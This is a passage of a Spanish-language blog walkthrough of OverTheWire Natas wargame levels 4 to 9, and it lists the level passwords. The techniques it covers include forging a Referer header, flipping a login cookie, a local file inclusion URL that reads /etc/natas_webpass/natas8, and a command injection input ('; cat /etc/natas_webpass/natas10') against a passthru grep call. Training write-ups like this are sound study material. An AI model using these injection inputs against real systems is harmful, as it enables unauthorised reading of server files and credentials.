<p><a href="http://natas3.natas.labs.overthewire.org/s3cr3t/">http://natas3.natas.labs.overthewire.org/s3cr3t/</a></p>
</blockquote>
<p>nos aparecera como en el natas3 un users.txt el cual contiene nuestra flag</p>
<blockquote>
<p>natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ</p>
</blockquote>
<h1 id="nivel4">Nivel 4</h1>
<blockquote>
<p>Username: natas4<br>
Password : Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ</p>
</blockquote>
<p>Este reto nos dice que no tenemos acceso y que solo esta permitido para los usuarios que vengan de</p>
<blockquote>
<p>&quot;<a href="http://natas5.natas.labs.overthewire.org/">http://natas5.natas.labs.overthewire.org/</a>&quot;</p>
</blockquote>
<p><img src="https://blog.scesi.org/content/images/2020/03/Screenshot_2020-03-14-Screenshot-2-.png" alt="OverTheWire (Natas)" loading="lazy"><br>
En ese sentido, estariamos hablando de la cabecera <strong>Referer</strong>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">mas informacion</a> ,  la cual le sirve a una pagina para saber de donde venimos a la hora de ingresar a la misma, y en este nivel es justo lo que se necesita.<br>
Usaremos una extension que se llama <a href="https://chrome.google.com/webstore/detail/modheader/idgpnmonknjnojddfkpgkljpfnnfcklj?hl=en">ModHeader</a><br>
<img src="https://blog.scesi.org/content/images/2020/03/natas4.png" alt="OverTheWire (Natas)" loading="lazy"><br>
Agregamos el header <em>Referer</em> y asignamos su valor<br>
Le damos un refresh a la pagina y nos dara efectivamente la flag<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-18-13-45.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<blockquote>
<p>iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq</p>
</blockquote>
<h1 id="nivel5">Nivel 5</h1>
<blockquote>
<p>Username: natas5<br>
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq</p>
</blockquote>
<p>En este nivel nos dice que el acceso esta desactivado, que no estamos <strong>logeados</strong>, esta ultima palabra nos da  la idea de <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">cookies</a>.<br>
Y si revisamos las cookies encontraremos una en particular llamada <strong>loggedIn</strong><br>
Para manipular esta cookie se puede usar la extension  <a href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en">EditThisCookie</a></p>
<p><img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-19-16-30.png" alt="OverTheWire (Natas)" loading="lazy"><br>
Aparece con valor <em>0</em>(false) la cookie, entonces se cambia a <em>1</em> , hacemos click en el ticket verde para que se guarde, le damos un refresh a la pagina y listo<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-19-23-38.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<blockquote>
<p>aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1</p>
</blockquote>
<h1 id="nivel6">Nivel 6</h1>
<blockquote>
<p>Username: natas6<br>
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1</p>
</blockquote>
<p>Este nivel nos da un campo de input, al cual se introducir la clave que nos dara la flag.<br>
Hacemos click en <em>View sourcode</em>, dentro nos aparecera el codigo.<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot_2020-03-14-Screenshot-4--1.png" alt="OverTheWire (Natas)" loading="lazy"><br>
Se puede apreciar que el codigo da informacion sobre un el archivo <strong>includes/secret.inc</strong>.<br>
Al ingresar mediante la url aparecera el siguiente fragmento<br>
<code>&lt;? $secret = &quot;FOEIUWGHFEEUHOFUOIU&quot;; ?&gt; </code><br>
Se toma el valor de <em>$secret</em> y lo ingresamos en el campo de input inicial y aparece la flag<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot_2020-03-14-Screenshot-5-.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<blockquote>
<p>7z3hEENjQtflzgnT29q7wAvMNfZdh0i9</p>
</blockquote>
<h1 id="nivel7">Nivel 7</h1>
<blockquote>
<p>Username: natas7<br>
Password : 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9</p>
</blockquote>
<p>En este nivel, ya empieza a requerir mas conocimientos.<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-21-12-20.png" alt="OverTheWire (Natas)" loading="lazy"><br>
En la pagina sola hay dos links hacia <em>Home</em> y <em>About</em>, no se ve nada sospechoso a simple vista, asi que inspeccionando el codigo aparece una pista<br>
<code>&lt;!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --&gt;</code><br>
El archivo <em><strong>/etc/natas_webpass/natas8</strong></em> es ahora el objetivo, la carpeta <a href="https://www.tldp.org/LDP/sag/html/etc-fs.html">etc</a> es la que nos sugiere que se podria aplicar un <a href="https://www.welivesecurity.com/la-es/2015/01/12/como-funciona-vulnerabilidad-local-file-inclusion/">LFI</a>.</p>
<blockquote>
<p><a href="http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8">http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8</a></p>
</blockquote>
<p><img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-21-26-35.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<blockquote>
<p>DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe</p>
</blockquote>
<h1 id="nivel8">Nivel 8</h1>
<blockquote>
<p>Username: natas8<br>
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe</p>
</blockquote>
<p>Similar al nivel 7, nos da una opcion  para ver el codigo fuente.<br>
Aparece una funcion que codifica nuestro input y lo compara con el <em>encodedSecret</em><br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-21-36-02.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<p>El proceso actual es el siguiente :</p>
<blockquote>
<p>binario a hex -&gt; reversa de string -&gt; base64 codificado</p>
</blockquote>
<p>Pero para obtener la clave a partir de <em>encodedSecret</em> se debe hacer un proceso inverso</p>
<blockquote>
<p>base64 -&gt; reversa de string -&gt; hex a binario</p>
</blockquote>
<p>Abrimos la terminal para hacer correr el siguiente codigo php<br>
<code>php -r &apos;$clave=base64_decode(strrev(hex2bin(&quot;3d3d516343746d4d6d6c315669563362&quot;)));echo $clave;&apos;</code><br>
Esto devuelve:</p>
<blockquote>
<p>oubWYf2kBq</p>
</blockquote>
<p>Volviendo al campo de entrada e introduciendo el valor nos dara la flag<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-21-46-07.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<blockquote>
<p>W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl</p>
</blockquote>
<h1 id="nivel9">Nivel 9</h1>
<blockquote>
<p>Username: natas9<br>
Password : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl</p>
</blockquote>
<p>De igual manera similar a los niveles previos, la pagina contiene un campo de entrada para buscar palabras que contengan el texto que introduzcamos.<br>
Hacemos click en la opcion de ver el codigo fuente<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-21-50-58-1.png" alt="OverTheWire (Natas)" loading="lazy"><br>
La pieza fundamental del codigo es<br>
<code>passthru(&quot;grep -i $key dictionary.txt&quot;);</code><br>
Ya que <a href="https://www.php.net/manual/en/function.passthru.php">passthru</a> nos permite ejecutar comandos en nuestro php, podemos usar esto para acceder a archivos del servidor.<br>
Recordar que en la pagina de inicio de bandit</p>
<blockquote>
<p>All passwords are also stored in /etc/natas_webpass/.</p>
</blockquote>
<p>De forma que a la hora de ingresar un texto en el campo de entrada podemos manipular esta linea<br>
<code>&quot;grep -i $key dictionary.txt&quot;</code><br>
para acceder al archivo <em><strong>/etc/natas_webpass/natas10</strong></em><br>
Ingresamos el siguiente texto<br>
<code>; cat /etc/natas_webpass/natas10</code><br>
Lo cual produce<br>
<img src="https://blog.scesi.org/content/images/2020/03/Screenshot-from-2020-03-14-22-08-59.png" alt="OverTheWire (Natas)" loading="lazy"></p>
<blockquote>
<p>nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu</p>
</blockquote>
<p>Eso seria todo por esta primera parte.</p>
<blockquote>
<p>La sociedad perdona a veces al criminal, pero no perdona nunca al so&#xF1;ador.(Wilde)</p>
</blockquote>
<p>-Luna</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>